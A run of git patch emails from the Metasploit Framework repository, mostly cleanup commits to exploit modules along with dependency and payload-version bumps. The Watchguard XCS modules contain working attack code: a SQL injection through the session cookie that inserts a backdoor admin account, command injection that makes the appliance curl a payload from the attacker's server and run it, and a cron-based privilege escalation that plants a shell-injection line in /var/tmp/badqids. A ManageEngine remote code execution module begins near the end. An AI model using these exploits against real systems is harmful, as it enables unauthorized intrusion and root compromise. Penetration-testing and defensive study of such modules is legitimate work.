exec_cmd = "/tmp/#{filename}" - vprint_status("Running the payload...") - send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true) + vprint_status('Running the payload...') + send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, true) - - print_status("Finished primer hook") + vprint_status('Finished primer hook') end #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") - print_status("Sending the payload to the server...") + print_status('Sending the payload to the server...') @elf_sent = true send_response(cli, @pl) end + end From 890ac92957fa54a53c0c9fd47fcce7c4f4fe598d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 10:10:08 -0500 Subject: [PATCH 0701/2172] Warn about incorrect payload --- modules/exploits/freebsd/http/watchguard_cmd_exec.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 08b18c55de..0cddf27893 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -31,7 +31,7 @@ class Metasploit4 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] ], 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, @@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Remote 'cookie' => "sid=1'" }) - if res and res.body =~ /unterminated quoted string/ + if res && res.body && res.body.include?('unterminated quoted string') return Exploit::CheckCode::Vulnerable end @@ -89,9 +89,13 @@ class Metasploit4 < Msf::Exploit::Remote #We have cmd exec, stand up an HTTP server and deliver the payload vprint_status('Getting ready to drop binary on appliance') + @elf_sent = false #Generate payload @pl = generate_payload_exe - @elf_sent = false + + if @pl.nil? + fail_with(Failure::BadConfig, 'Please select a native bsd payload') + end #Start the server and use primer to trigger fetching and running of the payload begin From 49bd43701f45131fd28d2040053182dfe1952d42 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 25 Sep 2015 08:21:02 -0700 Subject: [PATCH 0702/2172] Update to recog 2.0.14 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 116da5fbf6..a00890a9e8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -15,7 +15,7 @@ PATH packetfu (= 1.1.11) railties rb-readline-r7 - recog (= 2.0.6) + recog (= 2.0.14) robots rubyzip (~> 1.1) sqlite3 @@ -176,7 +176,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (2.0.6) + recog (2.0.14) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index e6bdbb368f..6f9af479a9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -71,7 +71,7 @@ Gem::Specification.new do |spec| # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting - spec.add_runtime_dependency 'recog', '2.0.6' + spec.add_runtime_dependency 'recog', '2.0.14' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module From e87d99a65f6aa2b35dcbfa119e60f1b0bac9feba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 25 Sep 2015 10:45:19 -0500 Subject: [PATCH 0703/2172] Fixing blocking option --- .../freebsd/http/watchguard_cmd_exec.rb | 74 ++++++++++--------- 1 file changed, 41 insertions(+), 33 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 0cddf27893..c48c552383 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -77,27 +77,29 @@ class Metasploit4 < Msf::Exploit::Remote def exploit - #Get a valid session by logging in or exploiting SQLi to add user + # Get a valid session by logging in or exploiting SQLi to add user + print_status('Getting a valid session...') @sid = get_session + print_status('Successfully logged in') - #Check if cmd injection works + # Check if cmd injection works test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id') unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534') fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable') end - #We have cmd exec, stand up an HTTP server and deliver the payload + # We have cmd exec, stand up an HTTP server and deliver the payload vprint_status('Getting ready to drop binary on appliance') @elf_sent = false - #Generate payload + # Generate payload @pl = generate_payload_exe if @pl.nil? fail_with(Failure::BadConfig, 'Please select a native bsd payload') end - #Start the server and use primer to trigger fetching and running of the payload + # Start the server and use primer to trigger fetching and running of the payload begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error @@ -111,7 +113,7 @@ class Metasploit4 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, '/login.spl') }) - unless get_login_hash and get_login_hash.body + unless get_login_hash && get_login_hash.body fail_with(Failure::Unreachable, 'Could not get login page.') end @@ -147,12 +149,10 @@ class Metasploit4 < Msf::Exploit::Remote }) - unless login and login.body =~ /<title>Loading...<\/title>/ + unless login && login.body && login.body.include?('<title>Loading...') return nil end - print_status('Successfully logged in') - sid_cookie end @@ -163,14 +163,14 @@ class Metasploit4 < Msf::Exploit::Remote 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--" }) - unless res and res.body + unless res && res.body fail_with(Failure::Unreachable, "Could not connect to host") end - if res.body =~ /ERROR: duplicate key value violates unique constraint/ + if res.body.include?('ERROR: duplicate key value violates unique constraint') print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}") else - fail_with(Failure::UnexpectedReply, "Unable to add user to database") + fail_with(Failure::UnexpectedReply, 'Unable to add user to database') end true @@ -186,13 +186,13 @@ class Metasploit4 < Msf::Exploit::Remote final_hash end - def send_cmd_exec(uri, os_cmd, blocking = false) + def send_cmd_exec(uri, os_cmd, blocking = true) #This is a handler function that makes HTTP calls to exploit the command injection issue unless @sid fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.') end - res = send_request_cgi({ + opts = { 'uri' => normalize_uri(target_uri.path, "#{uri}"), 'cookie' => "sid=#{@sid}", 'encode_params' => true, @@ -200,10 +200,16 @@ class Metasploit4 < Msf::Exploit::Remote 'f' => 'dnld', 'id' => ";#{os_cmd}" } - }) + } + + if blocking + res = send_request_cgi(opts) + else + res = send_request_cgi(opts, 1) + end #Handle cmd exec failures - if res.nil? && blocking == false + if res.nil? && blocking fail_with(Failure::Unknown, 'Failed to exploit command injection.') end @@ -217,19 +223,20 @@ class Metasploit4 < Msf::Exploit::Remote user_id = rand(999) sid_cookie = attempt_login(username, pwd_clear) + + return sid_cookie unless sid_cookie.nil? + + vprint_error('Failed to login, attempting to add backdoor user...') + pwd_hash = generate_device_hash(pwd_clear) + + unless add_user(user_id, username, pwd_hash, pwd_clear) + fail_with(Failure::Unknown, 'Failed to add user account to database.') + end + + sid_cookie = attempt_login(username, pwd_clear) + unless sid_cookie - vprint_status('Failed to login, attempting to add backdoor user...') - pwd_hash = generate_device_hash(pwd_clear) - - unless add_user(user_id, username, pwd_hash, pwd_clear) - fail_with(Failure::Unknown, 'Failed to add user account to database.') - end - - sid_cookie = attempt_login(username, pwd_clear) - - unless sid_cookie - fail_with(Failure::Unknown, 'Unable to login with user account.') - end + fail_with(Failure::Unknown, 'Unable to login with user account.') end sid_cookie @@ -245,9 +252,9 @@ class Metasploit4 < Msf::Exploit::Remote filename = rand_text_alpha_lower(8) print_status("Sending download request for #{payload_uri}") - dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" - vprint_status("Telling appliance to run #{dnld_cmd1}") - send_cmd_exec('/ADMIN/mailqueue.spl', dnld_cmd1) + download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" + vprint_status("Telling appliance to run #{download_cmd}") + send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd) register_file_for_cleanup("/tmp/#{filename}") chmod_cmd = "chmod +x /tmp/#{filename}" @@ -256,9 +263,10 @@ class Metasploit4 < Msf::Exploit::Remote exec_cmd = "/tmp/#{filename}" vprint_status('Running the payload...') - send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, true) + send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false) - vprint_status('Finished primer hook') + vprint_status('Finished primer hook, raising Timeout::Error manually') + raise(Timeout::Error) end #Handle incoming requests from the server From 6b46316a56230520903e7a13fcca772c9dffb253 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 11:35:21 -0500 Subject: [PATCH 0704/2172] Do watchguard_local_privesc code cleaning --- .../freebsd/misc/watchguard_local_privesc.rb | 50 +++++++++++-------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb index b8d37f80dc..e7e2edd748 100644 --- a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb +++ b/modules/exploits/freebsd/misc/watchguard_local_privesc.rb @@ -7,7 +7,10 @@ require 'msf/core' class Metasploit4 < Msf::Exploit::Local - Rank = ExcellentRanking + # It needs 3 minutes wait time + # WfsDelay set to 180, so it should be a Manual exploit, + # to avoid it being included in automations + Rank = ManualRanking include Msf::Exploit::EXE include Msf::Post::File @@ -27,68 +30,73 @@ class Metasploit4 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'References' => [ - ['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] + ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf'] ], 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, - 'SessionTypes' => [ 'shell' ], - 'Privileged' => false, + 'SessionTypes' => ['shell'], + 'Privileged' => true, 'Targets' => [ [ 'Watchguard XCS 9.2/10.0', { }] ], + 'DefaultOptions' => { 'WfsDelay' => 180 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 29 2015' )) end + def setup + @pl = generate_payload_exe + if @pl.nil? + fail_with(Failure::BadConfig, 'Please select a native bsd payload') + end + + super + end + def check #Basic check to see if the device is a Watchguard XCS res = cmd_exec('uname -a') - return Exploit::CheckCode::Appears if res =~ /support-xcs@watchguard.com/ + return Exploit::CheckCode::Detected if res && res.include?('support-xcs@watchguard.com') Exploit::CheckCode::Safe end def upload_payload - #Generates and uploads the payload to the device fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}" - @pl = generate_payload_exe + write_file(fname, @pl) - return nil if not file_exist?(fname) + return nil unless file_exist?(fname) cmd_exec("chmod +x #{fname}") - return fname + + fname end def exploit - print_status("Rooting can take up to 3 minutes.") + print_warning('Rooting can take up to 3 minutes.') #Generate and upload the payload filename = upload_payload - fail_with(Failure::NotFound, "Payload failed to upload") if filename.nil? + fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil? print_status("Payload #{filename} uploaded.") #Sets up empty dummy file needed for privesc dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}" cmd_exec("touch #{dummy_filename}") - vprint_status("Added dummy file") + vprint_status('Added dummy file') #Put the shell injection line into badqids #setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids" - badqids = write_file("/var/tmp/badqids","../../../../../..#{dummy_filename};#{filename}") - fail_with(Failure::NotFound, "Failed to create badqids file to exploit crontab") if badqids.nil? - print_status("Badqids created, waiting for vulnerable script to be called by crontab...") + badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}") + fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil? + print_status('Badqids created, waiting for vulnerable script to be called by crontab...') #cmd_exec(setup_privesc) #Cleanup the files we used - register_file_for_cleanup("/var/tmp/badqids") + register_file_for_cleanup('/var/tmp/badqids') register_file_for_cleanup(dummy_filename) register_file_for_cleanup(filename) - - #Wait for crontab to run vulnerable script - select(nil,nil,nil,180) #Wait 3 minutes to ensure cron script is run - print_status("Ran out of time, should have root shell by now.") - end end From c8880e8ad6f57830116cf1673d0b79cfe7dbf368 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 11:37:38 -0500 Subject: [PATCH 0705/2172] Move local exploit to correct location --- .../watchguard_fix_corrupt_mail.rb} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename modules/exploits/freebsd/{misc/watchguard_local_privesc.rb => local/watchguard_fix_corrupt_mail.rb} (93%) diff --git a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb similarity index 93% rename from modules/exploits/freebsd/misc/watchguard_local_privesc.rb rename to modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb index e7e2edd748..82ae226b16 100644 --- a/modules/exploits/freebsd/misc/watchguard_local_privesc.rb +++ b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb @@ -18,10 +18,10 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Watchguard XCS Local Privilege Escalation', + 'Name' => 'Watchguard XCS FixCorruptMail Local Privilege Escalation', 'Description' => %q{ - This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called by root's crontab - which can be exploited to run a command as root within 3 minutes. + This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called + by root's crontab which can be exploited to run a command as root within 3 minutes. }, 'Author' => [ From a5698ebce00c30b22c4ea8a4a31246ec74d86107 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 13:34:16 -0500 Subject: [PATCH 0706/2172] Fix metadata --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index c6c628c592..1c2f2113e4 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -13,7 +13,10 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'UPnP IGD SOAP Port Mapping Utility', - 'Description' => 'Manage port mappings on UPnP IGD-capable device using the AddPortMapping and DeletePortMapping SOAP requests', + 'Description' => %q{ + Manage port mappings on UPnP IGD-capable device using the AddPortMapping and + DeletePortMapping SOAP requests + }, 'Author' => [ 'St0rn ', # initial module @@ -43,11 +46,11 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), OptAddress.new('INTERNAL_CLIENT', [false, 'Internal client hostname/IP']), - OptAddress.new('EXTERNAL_CLIENT', [false, 'External client hostname/IP']), + OptAddress.new('EXTERNAL_CLIENT', [true, 'External client hostname/IP']), OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), OptInt.new('INTERNAL_PORT', [false, 'Internal port']), OptInt.new('EXTERNAL_PORT', [true, 'External port']), - OptInt.new('LEASE_DURATION', [true, 'Lease time for mapping, in seconds', 3600]) + OptInt.new('LEASE_DURATION', [false, 'Lease time for mapping, in seconds', 3600]) ], self.class ) From e4e9609bc2de6c4f7bc1614d49e17f8598fd75bf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 13:35:38 -0500 Subject: [PATCH 0707/2172] Use single quotes --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index 1c2f2113e4..9ce29428a7 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Auxiliary def build_soap builder = ::Nokogiri::XML::Builder.new do |xml| - xml['SOAP-ENV'].Envelope("xmlns:SOAP-ENV" => 'http://schemas.xmlsoap.org/soap/envelope', 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/') do + xml['SOAP-ENV'].Envelope('xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope', 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/') do xml['SOAP-ENV'].Body do xml['m'].send(soap_action, 'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1') do case action.name From 80c9cd4e6fe7ca153c75a28e03b1687bf0ea3a00 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 13:41:27 -0500 Subject: [PATCH 0708/2172] Restore required option --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index 9ce29428a7..38b958c2ab 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), OptAddress.new('INTERNAL_CLIENT', [false, 'Internal client hostname/IP']), - OptAddress.new('EXTERNAL_CLIENT', [true, 'External client hostname/IP']), + OptAddress.new('EXTERNAL_CLIENT', [false, 'External client hostname/IP']), OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), OptInt.new('INTERNAL_PORT', [false, 'Internal port']), OptInt.new('EXTERNAL_PORT', [true, 'External port']), From f6f3efea758b17cf04617501f196d9be417d786b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Sep 2015 13:51:18 -0500 Subject: [PATCH 0709/2172] print the body as verbose --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index 38b958c2ab..4ddc743e52 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary if res.code == 200 print_good("#{peer} #{map} #{action.name} succeeded") else - print_error("#{peer} #{map} #{action.name} failed: #{res}") + print_error("#{peer} #{map} #{action.name} failed with response code #{res.code}") + vprint_status("#{res.body}") end else print_error("#{peer} no response for #{map} #{action.name}") From 46ed12996657a8c6cb16c0471a109165b11f372f Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 26 Sep 2015 10:50:20 -0400 Subject: [PATCH 0710/2172] update to metasploit-payloads 1.0.14 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 7 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 34f83095c5..20a0259f1a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -10,7 +10,7 @@ PATH metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.13) + metasploit-payloads (= 1.0.14) msgpack nokogiri packetfu (= 1.1.11) @@ -125,7 +125,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.13) + metasploit-payloads (1.0.14) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index cc4abe9cb7..454570f574 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.13' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.14' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index ea5b654e42..7b7d2f6bc4 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1105970 + CachedSize = 1106482 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 2a41b6f8b0..2773fb3be4 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1107014 + CachedSize = 1107526 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 055d58d24e..0c7bb3d407 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1107014 + CachedSize = 1107526 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index eadb359933..9833edb98e 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1105970 + CachedSize = 1106482 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 36d632b24b..056b3f33b3 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1105970 + CachedSize = 1106482 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 866636b59c28187a74728abb92cc5ccca23b542c Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 26 Sep 2015 11:31:27 -0400 Subject: [PATCH 0711/2172] Land rapid7/metasploit-payloads#33, fix running android meterpreter without a context --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 20a0259f1a..416213d46d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -10,7 +10,7 @@ PATH metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.14) + metasploit-payloads (= 1.0.15) msgpack nokogiri packetfu (= 1.1.11) @@ -125,7 +125,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.14) + metasploit-payloads (1.0.15) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 454570f574..4d1d8a2de9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.14' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.15' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From b50862595705dbd5c41cb51af3939daa30fdd537 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 26 Sep 2015 15:13:26 -0700 Subject: [PATCH 0712/2172] When unable to determine destination MAC, vprint and return false Fixes #6006. ~20 related modules are affected by this defect and by this "fix" --- lib/msf/core/exploit/capture.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 02e6fd1296..f8b7af038d 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -242,7 +242,8 @@ module Msf dev ||= datastore['INTERFACE'] dst_mac, src_mac = lookup_eth(dhost, dev) if dst_mac == nil and not bcast - raise RuntimeError, 'Unable to determine the destination MAC and bcast is false' + vprint_error("Unable to determine the destination MAC for #{dhost} on #{dev} and bcast is false") + return false end inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac) end From 55f573b4c9261cdea545773cdc9a9a9717eee1d0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 27 Sep 2015 00:33:40 -0500 Subject: [PATCH 0713/2172] Do code cleanup --- .../manageengine_eventlog_analyzer_rce.rb | 79 +++++++++---------- 1 file changed, 39 insertions(+), 40 deletions(-) diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 151e3f51d3..31c0681afb 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper @@ -14,13 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine EventLog Analyzer Remote Code Execution", + 'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution', 'Description' => %q{ - This module exploits a SQL query functionality in ManageEngine EventLog Analyzer. - Every authenticated user, including the default "guest" account can execute SQL queries directly - on the underlaying Postres database server. The queries are executed as the "postgres" user - which has full privileges and thus is able to write files to disk. This way a JSP payload - can be uploaded and executed with SYSTEM privileges on the web server. + This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6 + build 10060 and previous versions. Every authenticated user, including the default "guest" + account can execute SQL queries directly on the underlying Postgres database server. The + queries are executed as the "postgres" user which has full privileges and thus is able to + write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM + privileges on the web server. This module has been tested successfully on ManageEngine + EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => @@ -29,29 +31,28 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'EDB', '38173' ], + ['EDB', '38173'] ], 'Platform' => ['win'], 'Arch' => ARCH_X86, 'Targets' => [ - ['ManageEngine EventLog Analyzer', {}] + ['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}] ], 'Privileged' => true, - 'DisclosureDate' => "Jul 11 2015", + 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8400), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]), - OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]), - OptInt.new('WAIT', [true, 'Seconds to wait for execution of the payload', 5]), + OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]) ], self.class) end def uri - return target_uri.path + target_uri.path end @@ -61,21 +62,20 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "event", "index3.do") + 'uri' => normalize_uri(uri, 'event', 'index3.do') }) - if res && res.code == 200 && res.body =~ /ManageEngine EventLog Analyzer/ + if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end - - def sql_query( cookies, query ) + def sql_query(cookies, query) res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "event", 